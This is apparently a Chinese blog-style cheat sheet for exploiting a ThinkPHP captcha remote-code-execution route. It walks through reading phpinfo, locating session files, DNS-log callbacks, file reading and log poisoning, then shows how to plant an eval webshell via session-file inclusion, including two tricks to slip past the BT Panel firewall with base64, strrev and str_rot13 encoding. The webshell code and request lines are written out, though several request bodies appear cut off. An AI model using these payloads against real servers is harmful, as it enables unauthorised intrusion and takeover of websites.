多谢大家这一年的照顾和喜欢,这是我应得的
在phpinfo里面搜索session.save_path ,可找session保存的位置
session路径
1 | /var/lib/php/sess_PHPSESSID |
RCE读取PHPinfo
1 | POST /index.php?s=captch |
设置 server[REQUEST_METHOD]=-1 可以看到phpinfo全部内容
gethostbyname函数打dnslog
1 | PODT /index.php?s=captch |
文件读取
1 | POST /index.php?s=captch |
写shell进日志
1 | POST /index.php?s=captch |
包含日志文件
1 | POST /index.php?s=captch |
正常session包含写马
写马
1 | POST /index.php?s=captch |
包含 session 文件
1 | POST /index.php?s=captch |
突破宝塔session包含写马1
写马
使用 php://filter、base64 两次编码和 strrev() 反转函数绕过
参考文章:https://www.cnblogs.com/wkzb/p/14156026.html
1 | POST /index.php/?s=captcha |
写入马的内容为:<?php @eval(base64_decode($_GET['r']));;?>
包含
1 | /index.php/?s=captcha&r=cGhwaW5mbygpOw== |
&r=cGhwaW5mbygpOw== 明文 -> &r=phpinfo();2tset505_sses 为反转后的session文件 2tset505_sses/pmt/=ecruoser 前面的/pmt/为反转后的session文件路径
突破宝塔session包含写马2
写马
通过 str_rot13 函数+变量引用绕过
1 | /?s=captcha |
加密字段为 eval(base64_decode($_POST[setup])); 密码:setup
包含
1 | /index.php/?s=captcha |
&setup=cGhwaW5mbygpOw== 明文 -> &setup=phpinfo();